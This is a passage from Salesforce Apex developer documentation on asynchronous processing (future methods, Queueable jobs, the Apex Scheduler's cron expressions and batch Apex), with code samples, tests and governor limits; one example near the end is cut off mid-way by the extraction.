work with sObjects that already exist in the database, pass the sObject ID instead (or collection of IDs) and use the ID to perform a query
for the most up-to-date record. The following example shows how to do so with a list of IDs.
global class FutureMethodRecordProcessing
{
@future
public static void processRecords(List<ID> recordIds)
{
// Get those records based on the IDs
List<Account> accts = [SELECT Name FROM Account WHERE Id IN :recordIds];
// Process records
}
}

The following is a skeletal example of a future method that makes a callout to an external service. Notice that the annotation takes an
extra parameter (callout=true) to indicate that callouts are allowed. To learn more about callouts, see Invoking Callouts Using
Apex.
global class FutureMethodExample
{

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Future Methods

@future(callout=true)
public static void getStockQuotes(String acctName)
{
// Perform a callout to an external service
}
}

Inserting a user with a non-null role must be done in a separate thread from DML operations on other sObjects. This example uses a
future method to achieve this. The future method, insertUserWithRole, which is defined in the Util class, performs the
insertion of a user with the COO role. This future method requires the COO role to be defined in the organization. The
useFutureMethod method in MixedDMLFuture inserts an account and calls the future method, insertUserWithRole.
This is the definition of the Util class, which contains the future method for inserting a user with a non-null role.
public class Util {
@future
public static void insertUserWithRole(
String uname, String al, String em, String lname) {
Profile p = [SELECT Id FROM Profile WHERE Name='Standard User'];
UserRole r = [SELECT Id FROM UserRole WHERE Name='COO'];
// Create new user with a non-null user role ID
User u = new User(alias = al, email=em,
emailencodingkey='UTF-8', lastname=lname,
languagelocalekey='en_US',
localesidkey='en_US', profileid = p.Id, userroleid = r.Id,
timezonesidkey='America/Los_Angeles',
username=uname);
insert u;
}
}

This is the class containing the main method that calls the future method defined previously.
public class MixedDMLFuture {
public static void useFutureMethod() {
// First DML operation
Account a = new Account(Name='Acme');
insert a;
// This next operation (insert a user with a role)
// can't be mixed with the previous insert unless
// it is within a future method.
// Call future method to insert a user with a role.
Util.insertUserWithRole(
'[email protected]', 'mruiz',
'[email protected]', 'Ruiz');
}
}

You can invoke future methods the same way you invoke any other method. However, a future method cant invoke another future
method.
Methods with the future annotation have the following limits:
No more than 50 method calls per Apex invocation

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Future Methods

Note: Asynchronous calls, such as @future or executeBatch, called in a startTest, stopTest block, do not
count against your limits for the number of queued jobs.
The maximum number of future method invocations per a 24-hour period is 250,000 or the number of user licenses in your
organization multiplied by 200, whichever is greater. This limit is for your entire organization and is shared with all asynchronous
Apex: Batch Apex, Queueable Apex, scheduled Apex, and future methods. The licenses that count toward this limit are full Salesforce
user licenses or Force.com App Subscription user licenses. Chatter Free, Chatter customer users, Customer Portal User, and partner
portal User licenses arent included.
Note: Future method jobs queued before a Salesforce service maintenance downtime remain in the queue. After service downtime
ends and when system resources become available, the queued future method jobs are executed. If a future method was running
when downtime occurred, the future method execution is rolled back and restarted after the service comes back up.

Testing Future Methods

To test methods defined with the future annotation, call the class containing the method in a startTest(), stopTest()
code block. All asynchronous calls made after the startTest method are collected by the system. When stopTest is executed,
all asynchronous processes are run synchronously.
For our example, this is how the test class looks.
@isTest
private class MixedDMLFutureTest {
@isTest static void test1() {
User thisUser = [SELECT Id FROM User WHERE Id = :UserInfo.getUserId()];
// System.runAs() allows mixed DML operations in test context
System.runAs(thisUser) {
// startTest/stopTest block to run future method synchronously
Test.startTest();
MixedDMLFuture.useFutureMethod();
Test.stopTest();
}
// The future method will run after Test.stopTest();
// Verify account is inserted
Account[] accts = [SELECT Id from Account WHERE Name='Acme'];
System.assertEquals(1, accts.size());
// Verify user is inserted
User[] users = [SELECT Id from User where username='[email protected]'];
System.assertEquals(1, users.size());
}
}

Future Method Performance Best Practices

Salesforce uses a queue-based framework to handle asynchronous processes from such sources as future methods and batch Apex. This
queue is used to balance request workload across organizations. Use the following best practices to ensure your organization is efficiently
using the queue for your asynchronous processes.
Avoid adding large numbers of future methods to the asynchronous queue, if possible. If more than 2,000 unprocessed requests
from a single organization are in the queue, any additional requests from the same organization will be delayed while the queue
handles requests from other organizations.

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Future Methods with Higher Limits (Pilot)

Ensure that future methods execute as fast as possible. To ensure fast execution of batch jobs, minimize Web service callout times
and tune queries used in your future methods. The longer the future method executes, the more likely other queued requests are
delayed when there are a large number of requests in the queue.
Test your future methods at scale. Where possible, test using an environment that generates the maximum number of future methods
youd expect to handle. This will help determine if delays will occur.
Consider using batch Apex instead of future methods to process large numbers of records.

Future Methods with Higher Limits (Pilot)

Note: We provide this feature to selected customers through a pilot program that requires agreement to specific terms and
conditions. To be nominated to participate in the program, contact Salesforce. Because pilot programs are subject to change, we
cant guarantee acceptance. This pilot feature isnt generally available, as referenced in this document or in press releases or public
statements. We cant guarantee general availability within any particular time frame or at all. Make your purchase decisions only
on the basis of generally available features.
Apex future methods (methods that are annotated with @future) currently have the higher asynchronous limits for heap size, CPU
timeout, and number of SOQL queries. This pilot enables you to specify even higher values for these and for additional limits in future
methods. If you were exceeding a governor limit in your future method, or if you think a future method requires a higher limit, you can
increase this limit for your future method.
Note: Running future methods with higher limits might slow down the execution of all your future methods.
One of the following limits can be doubled or tripled for each future method.
Heap size
CPU timeout
Number of SOQL queries
Number of DML statements issued
Number of records that were processed as a result of DML operations, Aprroval.process, or
Database.emptyRecycleBin

The higher limit is specified in the method definition as part of the @future annotation by using the limit parameter, in the
following syntax:
@future(limits='2x|3xlimitName')

For example, to double the amount of heap size that is allowed in your future method, define your method as follows:
@future(limits='2xHeap')
public static void myFutureMethod() {
// Your code here
}

Tip: Keep in mind that you can specify only one higher limit per future method. Decide which of the modifiable limits you need
the most for your method.
The following limit modifiers are supported. The string value passed to the limits parameter inside the annotation is case-insensitive.
Modifier

Description

@future(limits='2xHeap')

Heap size limit is doubled (24 MB).

@future(limits='3xHeap')

Heap size limit is tripled (36 MB).

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Queueable Apex

Modifier

Description

@future(limits='2xCPU')

CPU timeout is doubled (120,000 milliseconds).

@future(limits='3xCPU')

CPU timeout is tripled (180,000 milliseconds).

@future(limits='2xSOQL')

Number of SOQL queries limit is doubled (400).

@future(limits='3xSOQL')

Number of SOQL queries limit is tripled (600).

@future(limits='2xDML')

Number of DML statements limit is doubled (300).

@future(limits='3xDML')

Number of DML statements limit is tripled (450).

Number of records that were processed as a result of DML

operations is doubled (20,000).

Number of records that were processed as a result of DML

operations is tripled (30,000).

@future(limits='2xDMLRows')

@future(limits='3xDMLRows')

Includes Aprroval.process and Database.emptyRecycleBin operations.

Queueable Apex
Take control of your asynchronous Apex processes by using the Queueable interface. This interface enables you to add jobs to the
queue and monitor them, which is an enhanced way of running your asynchronous Apex code compared to using future methods.
For Apex processes that run for a long time, such as extensive database operations or external Web service callouts, you can run them
asynchronously by implementing the Queueable interface and adding a job to the Apex job queue. In this way, your asynchronous
Apex job runs in the background in its own thread and doesnt delay the execution of your main Apex logic. Each queued job runs when
system resources become available. A benefit of using the Queueable interface methods is that some governor limits are higher
than for synchronous Apex, such as heap size limits.
Queueable jobs are similar to future methods in that theyre both queued for execution, but they provide you with these additional
benefits.
Getting an ID for your job: When you submit your job by invoking the System.enqueueJob method, the method returns the
ID of the new job. This ID corresponds to the ID of the AsyncApexJob record. You can use this ID to identify your job and monitor
its progress, either through the Salesforce user interface in the Apex Jobs page, or programmatically by querying your record from
AsyncApexJob.
Using non-primitive types: Your queueable class can contain member variables of non-primitive data types, such as sObjects or
custom Apex types. Those objects can be accessed when the job executes.
Chaining jobs: You can chain one job to another job by starting a second job from a running job. Chaining jobs is useful if you need
to do some processing that depends on another process to have run first.

Example
This example is an implementation of the Queueable interface. The execute method in this example inserts a new account.
public class AsyncExecutionExample implements Queueable {
public void execute(QueueableContext context) {
Account a = new Account(Name='Acme',Phone='(415) 555-1212');
insert a;

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Queueable Apex

}
}

To add this class as a job on the queue, call this method:

ID jobID = System.enqueueJob(new AsyncExecutionExample());

After you submit your queueable class for execution, the job is added to the queue and will be processed when system resources become
available. You can monitor the status of your job programmatically by querying AsyncApexJob or through the user interface in Setup
by entering Apex Jobs in the Quick Find box, then selecting Apex Jobs.
To query information about your submitted job, perform a SOQL query on AsyncApexJob by filtering on the job ID that the
System.enqueueJob method returns. This example uses the jobID variable that was obtained in the previous example.
AsyncApexJob jobInfo = [SELECT Status,NumberOfErrors FROM AsyncApexJob WHERE Id=:jobID];

Similar to future jobs, queueable jobs dont process batches, and so the number of processed batches and the number of total batches
are always zero.

Testing Queueable Jobs

This example shows how to test the execution of a queueable job in a test method. A queueable job is an asynchronous process. To
ensure that this process runs within the test method, the job is submitted to the queue between the Test.startTest and
Test.stopTest block. The system executes all asynchronous processes started in a test method synchronously after the
Test.stopTest statement. Next, the test method verifies the results of the queueable job by querying the account that the job
created.
@isTest
public class AsyncExecutionExampleTest {
static testmethod void test1() {
// startTest/stopTest block to force async processes
//
to run in the test.
Test.startTest();
System.enqueueJob(new AsyncExecutionExample());
Test.stopTest();
// Validate that the job has run
// by verifying that the record was created.
// This query returns only the account created in test context by the
// Queueable class method.
Account acct = [SELECT Name,Phone FROM Account WHERE Name='Acme' LIMIT 1];
System.assertNotEquals(null, acct);
System.assertEquals('(415) 555-1212', acct.Phone);
}
}

Note: The ID of a queueable Apex job isnt returned in test contextSystem.enqueueJob returns null in a running test.

Chaining Jobs
If you need to run a job after some other processing is done first by another job, you can chain queueable jobs. To chain a job to another
job, submit the second job from the execute() method of your queueable class. You can add only one job from an executing job,

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Apex Scheduler

which means that only one child job can exist for each parent job. For example, if you have a second class called SecondJob that
implements the Queueable interface, you can add this class to the queue in the execute() method as follows:
public class AsyncExecutionExample implements Queueable {
public void execute(QueueableContext context) {
// Your processing logic here
// Chain this job to next job by submitting the next job
System.enqueueJob(new SecondJob());
}
}

You cant chain queueable jobs in an Apex test. Doing so results in an error. To avoid getting an error, you can check if Apex is running
in test context by calling Test.isRunningTest() before chaining jobs.

Queueable Apex Limits

The execution of a queued job counts once against the shared limit for asynchronous Apex method executions.
You can add up to 50 jobs to the queue with System.enqueueJob in a single transaction.
No limit is enforced on the depth of chained jobs, which means that you can chain one job to another job and repeat this process
with each new child job to link it to a new child job. For Developer Edition and Trial organizations, the maximum stack depth for
chained jobs is 5, which means that you can chain jobs four times and the maximum number of jobs in the chain is 5, including the
initial parent queueable job.
When chaining jobs, you can add only one job from an executing job with System.enqueueJob, which means that only one
child job can exist for each parent queueable job. Starting multiple child jobs from the same queueable job isnt supported.
SEE ALSO:
Queueable Interface
QueueableContext Interface

Apex Scheduler
To invoke Apex classes to run at specific times, first implement the Schedulable interface for the class, then specify the schedule
using either the Schedule Apex page in the Salesforce user interface, or the System.schedule method.
Important: Salesforce schedules the class for execution at the specified time. Actual execution may be delayed based on service
availability.
You can only have 100 scheduled Apex jobs at one time. You can evaluate your current count by viewing the Scheduled Jobs
page in Salesforce and creating a custom view with a type filter equal to Scheduled Apex. You can also programmatically query
the CronTrigger and CronJobDetail objects to get the count of Apex scheduled jobs.
Use extreme care if youre planning to schedule a class from a trigger. You must be able to guarantee that the trigger wont add
more scheduled classes than the limit. In particular, consider API bulk updates, import wizards, mass record changes through the
user interface, and all cases where more than one record can be updated at a time.
If there are one or more active scheduled jobs for an Apex class, you cannot update the class or any classes referenced by this class
through the Salesforce user interface. However, you can enable deployments to update the class with active scheduled jobs by
using the Metadata API (for example, when using the Force.com IDE). See Deployment Connections for Change Sets in the
Salesforce Help.

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Apex Scheduler

Implementing the Schedulable Interface

To schedule an Apex class to run at regular intervals, first write an Apex class that implements the Salesforce-provided interface
Schedulable.
The scheduler runs as systemall classes are executed, whether or not the user has permission to execute the class.
To monitor or stop the execution of a scheduled Apex job using the Salesforce user interface, from Setup, enter Scheduled Jobs
in the Quick Find box, then select Scheduled Jobs.
The Schedulable interface contains one method that must be implemented, execute.
global void execute(SchedulableContext sc){}

The implemented method must be declared as global or public.

Use this method to instantiate the class you want to schedule.
Tip: Though it's possible to do additional processing in the execute method, we recommend that all processing take place
in a separate class.
The following example implements the Schedulable interface for a class called mergeNumbers:
global class scheduledMerge implements Schedulable {
global void execute(SchedulableContext SC) {
mergeNumbers M = new mergeNumbers();
}
}

The following example uses the System.Schedule method to implement the above class.
scheduledMerge m = new scheduledMerge();
String sch = '20 30 8 10 2 ?';
String jobID = system.schedule('Merge Job', sch, m);

You can also use the Schedulable interface with batch Apex classes. The following example implements the Schedulable
interface for a batch Apex class called batchable:
global class scheduledBatchable implements Schedulable {
global void execute(SchedulableContext sc) {
batchable b = new batchable();
database.executebatch(b);
}
}

An easier way to schedule a batch job is to call the System.scheduleBatch method without having to implement the
Schedulable interface.
Use the SchedulableContext object to keep track of the scheduled job once it's scheduled. The SchedulableContext getTriggerID
method returns the ID of the CronTrigger object associated with this scheduled job as a string. You can query CronTrigger to track
the progress of the scheduled job.
To stop execution of a job that was scheduled, use the System.abortJob method with the ID returned by the getTriggerID
method.

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Tracking the Progress of a Scheduled Job Using Queries

After the Apex job has been scheduled, you can obtain more information about it by running a SOQL query on CronTrigger and retrieving
some fields, such as the number of times the job has run, and the date and time when the job is scheduled to run again, as shown in
this example.
CronTrigger ct =
[SELECT TimesTriggered, NextFireTime
FROM CronTrigger WHERE Id = :jobID];

The previous example assumes you have a jobID variable holding the ID of the job. The System.schedule method returns the
job ID. If youre performing this query inside the execute method of your schedulable class, you can obtain the ID of the current job
by calling getTriggerId on the SchedulableContext argument variable. Assuming this variable name is sc, the modified example
becomes:
CronTrigger ct =
[SELECT TimesTriggered, NextFireTime
FROM CronTrigger WHERE Id = :sc.getTriggerId()];

You can also get the jobs name and the jobs type from the CronJobDetail record associated with the CronTrigger record. To do so, use
the CronJobDetail relationship when performing a query on CronTrigger. This example retrieves the most recent CronTrigger
record with the job name and type from CronJobDetail.
CronTrigger job =
[SELECT Id, CronJobDetail.Id, CronJobDetail.Name, CronJobDetail.JobType
FROM CronTrigger ORDER BY CreatedDate DESC LIMIT 1];

Alternatively, you can query CronJobDetail directly to get the jobs name and type. This next example gets the jobs name and type for
the CronTrigger record queried in the previous example. The corresponding CronJobDetail record ID is obtained by the
CronJobDetail.Id expression on the CronTrigger record.
CronJobDetail ctd =
[SELECT Id, Name, JobType
FROM CronJobDetail WHERE Id = :job.CronJobDetail.Id];

To obtain the total count of all Apex scheduled jobs, excluding all other scheduled job types, perform the following query. Note the
value '7' is specified for the job type, which corresponds to the scheduled Apex job type.
SELECT COUNT() FROM CronTrigger WHERE CronJobDetail.JobType = '7'

Testing the Apex Scheduler

The following is an example of how to test using the Apex scheduler.
The System.schedule method starts an asynchronous process. This means that when you test scheduled Apex, you must ensure
that the scheduled job is finished before testing against the results. Use the Test methods startTest and stopTest around the
System.schedule method to ensure it finishes before continuing your test. All asynchronous calls made after the startTest
method are collected by the system. When stopTest is executed, all asynchronous processes are run synchronously. If you dont
include the System.schedule method within the startTest and stopTest methods, the scheduled job executes at the
end of your test method for Apex saved using Salesforce API version 25.0 and later, but not in earlier versions.
This is the class to be tested.
global class TestScheduledApexFromTestMethod implements Schedulable {
// This test runs a scheduled job at midnight Sept. 3rd. 2022

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public static String CRON_EXP = '0 0 0 3 9 ? 2022';

global void execute(SchedulableContext ctx) {
CronTrigger ct = [SELECT Id, CronExpression, TimesTriggered, NextFireTime
FROM CronTrigger WHERE Id = :ctx.getTriggerId()];
System.assertEquals(CRON_EXP, ct.CronExpression);
System.assertEquals(0, ct.TimesTriggered);
System.assertEquals('2022-09-03 00:00:00', String.valueOf(ct.NextFireTime));
Account a = [SELECT Id, Name FROM Account WHERE Name =
'testScheduledApexFromTestMethod'];
a.name = 'testScheduledApexFromTestMethodUpdated';
update a;
}
}

The following tests the above class:

@istest
class TestClass {
static testmethod void test() {
Test.startTest();
Account a = new Account();
a.Name = 'testScheduledApexFromTestMethod';
insert a;
// Schedule the test job
String jobId = System.schedule('testBasicScheduledApex',
TestScheduledApexFromTestMethod.CRON_EXP,
new TestScheduledApexFromTestMethod());
// Get the information from the CronTrigger API object
CronTrigger ct = [SELECT Id, CronExpression, TimesTriggered,
NextFireTime
FROM CronTrigger WHERE id = :jobId];
// Verify the expressions are the same
System.assertEquals(TestScheduledApexFromTestMethod.CRON_EXP,
ct.CronExpression);
// Verify the job has not run
System.assertEquals(0, ct.TimesTriggered);
// Verify the next time the job will run
System.assertEquals('2022-09-03 00:00:00',
String.valueOf(ct.NextFireTime));
System.assertNotEquals('testScheduledApexFromTestMethodUpdated',
[SELECT id, name FROM account WHERE id = :a.id].name);
Test.stopTest();

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System.assertEquals('testScheduledApexFromTestMethodUpdated',
[SELECT Id, Name FROM Account WHERE Id = :a.Id].Name);
}
}

Using the System.Schedule Method

After you implement a class with the Schedulable interface, use the System.Schedule method to execute it. The scheduler
runs as systemall classes are executed, whether or not the user has permission to execute the class.
Note: Use extreme care if youre planning to schedule a class from a trigger. You must be able to guarantee that the trigger wont
add more scheduled classes than the limit. In particular, consider API bulk updates, import wizards, mass record changes through
the user interface, and all cases where more than one record can be updated at a time.
The System.Schedule method takes three arguments: a name for the job, an expression used to represent the time and date the
job is scheduled to run, and the name of the class. This expression has the following syntax:
Seconds Minutes Hours Day_of_month Month Day_of_week optional_year

Note: Salesforce schedules the class for execution at the specified time. Actual execution may be delayed based on service
availability.
The System.Schedule method uses the user's timezone for the basis of all schedules.
The following are the values for the expression:
Name

Values

Special Characters

Seconds

059

None

Minutes

059

None

Hours

023

, - * /

Day_of_month

131

, - * ? / L W

Month

112 or the following:

, - * /

JAN
FEB
MAR
APR
MAY
JUN
JUL
AUG
SEP
OCT
NOV
DEC

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Name

Values

Special Characters

Day_of_week

17 or the following:

, - * ? / L #

SUN
MON
TUE
WED
THU
FRI
SAT
optional_year

null or 19702099

, - * /

The special characters are defined as follows:

Special Character

Description

Delimits values. For example, use JAN, MAR, APR to specify more than one month.

Specifies a range. For example, use JAN-MAR to specify more than one month.

Specifies all values. For example, if Month is specified as *, the job is scheduled for
every month.

Specifies no specific value. This is only available for Day_of_month and

Day_of_week, and is generally used when specifying a value for one and not the
other.

Specifies increments. The number before the slash specifies when the intervals will
begin, and the number after the slash is the interval amount. For example, if you specify
1/5 for Day_of_month, the Apex class runs every fifth day of the month, starting
on the first of the month.

Specifies the end of a range (last). This is only available for Day_of_month and
Day_of_week. When used with Day of month, L always means the last day
of the month, such as January 31, February 29 for leap years, and so on. When used
with Day_of_week by itself, it always means 7 or SAT. When used with a
Day_of_week value, it means the last of that type of day in the month. For example,
if you specify 2L, you are specifying the last Monday of the month. Do not use a range
of values with L as the results might be unexpected.

Specifies the nearest weekday (Monday-Friday) of the given day. This is only available
for Day_of_month. For example, if you specify 20W, and the 20th is a Saturday,
the class runs on the 19th. If you specify 1W, and the first is a Saturday, the class does
not run in the previous month, but on the third, which is the following Monday.
Tip: Use the L and W together to specify the last weekday of the month.

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Special Character

Description

Specifies the nth day of the month, in the format weekday#day_of_month.

This is only available for Day_of_week. The number before the # specifies weekday
(SUN-SAT). The number after the # specifies the day of the month. For example,
specifying 2#2 means the class runs on the second Monday of every month.

The following are some examples of how to use the expression.

Expression

Description

0 0 13 * * ?

Class runs every day at 1 PM.

0 0 22 ? * 6L

Class runs the last Friday of every month at 10 PM.

0 0 10 ? * MON-FRI

Class runs Monday through Friday at 10 AM.

0 0 20 * * ? 2010

Class runs every day at 8 PM during the year 2010.

In the following example, the class proschedule implements the Schedulable interface. The class is scheduled to run at 8 AM,
on the 13th of February.
proschedule p = new proschedule();
String sch = '0 0 8 13 2 ?';
system.schedule('One Time Pro', sch, p);

Using the System.scheduleBatch Method for Batch Jobs

You can call the System.scheduleBatch method to schedule a batch job to run once at a specified time in the future. This
method is available only for batch classes and doesnt require the implementation of the Schedulable interface. This makes it easy
to schedule a batch job for one execution. For more details on how to use the System.scheduleBatch method, see Using the
System.scheduleBatch Method.

Apex Scheduler Limits

You can only have 100 scheduled Apex jobs at one time. You can evaluate your current count by viewing the Scheduled Jobs page
in Salesforce and creating a custom view with a type filter equal to Scheduled Apex. You can also programmatically query the
CronTrigger and CronJobDetail objects to get the count of Apex scheduled jobs.
The maximum number of scheduled Apex executions per a 24-hour period is 250,000 or the number of user licenses in your
organization multiplied by 200, whichever is greater. This limit is for your entire organization and is shared with all asynchronous
Apex: Batch Apex, Queueable Apex, scheduled Apex, and future methods. The licenses that count toward this limit are full Salesforce
user licenses or Force.com App Subscription user licenses. Chatter Free, Chatter customer users, Customer Portal User, and partner
portal User licenses arent included.

Apex Scheduler Notes and Best Practices

Salesforce schedules the class for execution at the specified time. Actual execution may be delayed based on service availability.

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Use extreme care if youre planning to schedule a class from a trigger. You must be able to guarantee that the trigger wont add
more scheduled classes than the limit. In particular, consider API bulk updates, import wizards, mass record changes through the
user interface, and all cases where more than one record can be updated at a time.
Though it's possible to do additional processing in the execute method, we recommend that all processing take place in a
separate class.
Synchronous Web service callouts are not supported from scheduled Apex. To be able to make callouts, make an asynchronous
callout by placing the callout in a method annotated with @future(callout=true) and call this method from scheduled
Apex. However, if your scheduled Apex executes a batch job, callouts are supported from the batch class. See Using Batch Apex.
Apex jobs scheduled to run during a Salesforce service maintenance downtime will be scheduled to run after the service comes
back up, when system resources become available. If a scheduled Apex job was running when downtime occurred, the job is rolled
back and scheduled again after the service comes back up. Note that after major service upgrades, there might be longer delays
than usual for starting scheduled Apex jobs because of system usage spikes.
SEE ALSO:
Schedulable Interface

Batch Apex
A developer can now employ batch Apex to build complex, long-running processes that run on thousands of records on the Force.com
platform. Batch Apex operates over small batches of records, covering your entire record set and breaking the processing down to
manageable chunks. For example, a developer could build an archiving solution that runs on a nightly basis, looking for records past a
certain date and adding them to an archive. Or a developer could build a data cleansing operation that goes through all Accounts and
Opportunities on a nightly basis and updates them if necessary, based on custom criteria.
Batch Apex is exposed as an interface that must be implemented by the developer. Batch jobs can be programmatically invoked at
runtime using Apex.
You can only have five queued or active batch jobs at one time. You can evaluate your current count by viewing the Scheduled Jobs
page in Salesforce or programmatically using SOAP API to query the AsyncApexJob object.
Warning: Use extreme care if you are planning to invoke a batch job from a trigger. You must be able to guarantee that the
trigger will not add more batch jobs than the limit. In particular, consider API bulk updates, import wizards, mass record changes
through the user interface, and all cases where more than one record can be updated at a time.
Batch jobs can also be programmatically scheduled to run at specific times using the Apex scheduler, or scheduled using the Schedule
Apex page in the Salesforce user interface. For more information on the Schedule Apex page, see Schedule Apex in the Salesforce
online help.
The batch Apex interface is also used for Apex managed sharing recalculations.
For more information on batch jobs, continue to Using Batch Apex on page 240.
For more information on Apex managed sharing, see Understanding Apex Managed Sharing on page 185.
IN THIS SECTION:
Using Batch Apex

Using Batch Apex

To use batch Apex, write an Apex class that implements the Salesforce-provided interface Database.Batchable and then invoke
the class programmatically.

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To monitor or stop the execution of the batch Apex job, from Setup, enter Apex Jobs in the Quick Find box, then select Apex
Jobs.

Implementing the Database.Batchable Interface

The Database.Batchable interface contains three methods that must be implemented.
start method:
global (Database.QueryLocator | Iterable<sObject>) start(Database.BatchableContext bc)
{}

To collect the records or objects to pass to the interface method execute, call the start method at the beginning of a batch
Apex job. This method returns either a Database.QueryLocator object or an iterable that contains the records or objects
passed to the job.
When youre using a simple query (SELECT) to generate the scope of objects in the batch job, use the
Database.QueryLocator object. If you use a QueryLocator object, the governor limit for the total number of records
retrieved by SOQL queries is bypassed. For example, a batch Apex job for the Account object can return a QueryLocator for all
account records (up to 50 million records) in an org. Another example is a sharing recalculation for the Contact object that returns
a QueryLocator for all account records in an org.
Use the iterable to create a complex scope for the batch job. You can also use the iterable to create your own custom process for
iterating through the list.
Important: If you use an iterable, the governor limit for the total number of records retrieved by SOQL queries is still enforced.
execute method:
global void execute(Database.BatchableContext BC, list<P>){}

To do the required processing for each chunk of data, use the execute method. This method is called for each batch of records
that you pass to it.
This method takes the following:
A reference to the Database.BatchableContext object.
A list of sObjects, such as List<sObject>, or a list of parameterized types. If you are using a Database.QueryLocator,
use the returned list.
Batches of records tend to execute in the order in which theyre received from the start method. However, the order in which
batches of records execute depends on various factors. The order of execution isnt guaranteed.
finish method:
global void finish(Database.BatchableContext BC){}

To send confirmation emails or execute post-processing operations, use the finish method. This method is called after all batches
are processed.
Each execution of a batch Apex job is considered a discrete transaction. For example, a batch Apex job that contains 1,000 records and
is executed without the optional scope parameter from Database.executeBatch is considered five transactions of 200 records
each. The Apex governor limits are reset for each transaction. If the first transaction succeeds but the second fails, the database updates
made in the first transaction are not rolled back.

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Using Database.BatchableContext
All the methods in the Database.Batchable interface require a reference to a Database.BatchableContext object.
Use this object to track the progress of the batch job.
The following is the instance method with the Database.BatchableContext object:
Name

Arguments

getJobID

Returns

Description

Returns the ID of the AsyncApexJob object associated with

this batch job as a string. Use this method to track the
progress of records in the batch job. You can also use this
ID with the System.abortJob method.

The following example uses the Database.BatchableContext to query the AsyncApexJob associated with the batch job.
global void finish(Database.BatchableContext BC){
// Get the ID of the AsyncApexJob representing this batch job
// from Database.BatchableContext.
// Query the AsyncApexJob object to retrieve the current job's information.
AsyncApexJob a = [SELECT Id, Status, NumberOfErrors, JobItemsProcessed,
TotalJobItems, CreatedBy.Email
FROM AsyncApexJob WHERE Id =
:BC.getJobId()];
// Send an email to the Apex job's submitter notifying of job completion.
Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();
String[] toAddresses = new String[] {a.CreatedBy.Email};
mail.setToAddresses(toAddresses);
mail.setSubject('Apex Sharing Recalculation ' + a.Status);
mail.setPlainTextBody
('The batch Apex job processed ' + a.TotalJobItems +
' batches with '+ a.NumberOfErrors + ' failures.');
Messaging.sendEmail(new Messaging.SingleEmailMessage[] { mail });
}

Using Database.QueryLocator to Define Scope

The start method can return either a Database.QueryLocator object that contains the records to use in the batch job or
an iterable.
The following example uses a Database.QueryLocator:
global class SearchAndReplace implements Database.Batchable<sObject>{
global
global
global
global

final
final
final
final

String
String
String
String

Query;
Entity;
Field;
Value;

global SearchAndReplace(String q, String e, String f, String v){

Query=q; Entity=e; Field=f;Value=v;
}

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global Database.QueryLocator start(Database.BatchableContext BC){

return Database.getQueryLocator(query);
}
global void execute(Database.BatchableContext BC, List<sObject> scope){
for(sobject s : scope){
s.put(Field,Value);
}
update scope;
}
global void finish(Database.BatchableContext BC){
}
}

Using an Iterable in Batch Apex to Define Scope

The start method can return either a Database.QueryLocator object that contains the records to use in the batch job or
an iterable. Use an iterable to step through the returned items more easily.
global class batchClass implements Database.batchable{
global Iterable start(Database.BatchableContext info){
return new CustomAccountIterable();
}
global void execute(Database.BatchableContext info, List<Account> scope){
List<Account> accsToUpdate = new List<Account>();
for(Account a : scope){
a.Name = 'true';
a.NumberOfEmployees = 70;
accsToUpdate.add(a);
}
update accsToUpdate;
}
global void finish(Database.BatchableContext info){
}
}

Using the Database.executeBatch Method to Submit Batch Jobs

You can use the Database.executeBatch method to programmatically begin a batch job.
Important: When you call Database.executeBatch, Salesforce adds the process to the queue. Actual execution can be
delayed based on service availability.
The Database.executeBatch method takes two parameters:
An instance of a class that implements the Database.Batchable interface.
An optional parameter scope. This parameter specifies the number of records to pass into the execute method. Use this
parameter when you have many operations for each record being passed in and are running into governor limits. By limiting the
number of records, you are limiting the operations per transaction. This value must be greater than zero. If the start method of
the batch class returns a QueryLocator, the optional scope parameter of Database.executeBatch can have a maximum
value of 2,000. If set to a higher value, Salesforce chunks the records returned by the QueryLocator into smaller batches of up to

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2,000 records. If the start method of the batch class returns an iterable, the scope parameter value has no upper limit. However,
if you use a high number, you can run into other limits.
The Database.executeBatch method returns the ID of the AsyncApexJob object, which you can use to track the progress of
the job. For example:
ID batchprocessid = Database.executeBatch(reassign);
AsyncApexJob aaj = [SELECT Id, Status, JobItemsProcessed, TotalJobItems, NumberOfErrors
FROM AsyncApexJob WHERE ID =: batchprocessid ];

You can also use this ID with the System.abortJob method.

For more information, see AsyncApexJob in the Object Reference for Salesforce and Force.com.

Holding Batch Jobs in the Apex Flex Queue

With the Apex flex queue, you can submit up to 100 batch jobs.
The outcome of Database.executeBatch is as follows.
The batch job is placed in the Apex flex queue, and its status is set to Holding.
If the Apex flex queue has the maximum number of 100 jobs, Database.executeBatch throws a LimitException
and doesnt add the job to the queue.
Note: If your org doesnt have Apex flex queue enabled, Database.executeBatch adds the batch job to the batch job
queue with the Queued status. If the concurrent limit of queued or active batch job has been reached, a LimitException
is thrown, and the job isnt queued.
Reordering Jobs in the Apex Flex Queue
While submitted jobs have a status of Holding, you can reorder them in the Salesforce user interface to control which batch jobs are
processed first. To do so, from Setup, enter Apex Flex Queue in the Quick Find box, then select Apex Flex Queue.
Alternatively, you can use Apex methods to reorder batch jobs in the flex queue. To move a job to a new position, call one of the
System.FlexQueue methods. Pass the method the job ID and, if applicable, the ID of the job next to the moved jobs new position.
For example:
Boolean isSuccess = System.FlexQueue.moveBeforeJob(jobToMoveId, jobInQueueId);

You can reorder jobs in the Apex flex queue to prioritize jobs. For example, you can move a batch job up to the first position in the
holding queue to be processed first when resources become available. Otherwise, jobs are processed first-in, first-outin the order
in which theyre submitted.
When system resources become available, the system picks up the next job from the top of the Apex flex queue and moves it to the
batch job queue. The system can process up to five queued or active jobs simultaneously for each organization. The status of these
moved jobs changes from Holding to Queued. Queued jobs get executed when the system is ready to process new jobs. You can
monitor queued jobs on the Apex Jobs page.

Batch Job Statuses

The following table lists all possible statuses for a batch job along with a description of each.
Status

Description

Holding

Job has been submitted and is held in the Apex flex queue until
system resources become available to queue the job for processing.

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Status

Description

Queued

Job is awaiting execution.

Preparing

The start method of the job has been invoked. This status can
last a few minutes depending on the size of the batch of records.

Processing

Job is being processed.

Aborted

Job aborted by a user.

Completed

Job completed with or without failures.

'WHERE ownerid=\'' + u.id + '\'';

reassign.email='[email protected]';
reassign.fromUserId = u;
reassign.toUserId = u2;
ID batchprocessid = Database.executeBatch(reassign);

The following is an example of a batch Apex class for deleting records.

global class BatchDelete implements Database.Batchable<sObject> {
public String query;
global Database.QueryLocator start(Database.BatchableContext BC){
return Database.getQueryLocator(query);
}
global void execute(Database.BatchableContext BC, List<sObject> scope){
delete scope;
DataBase.emptyRecycleBin(scope);
}
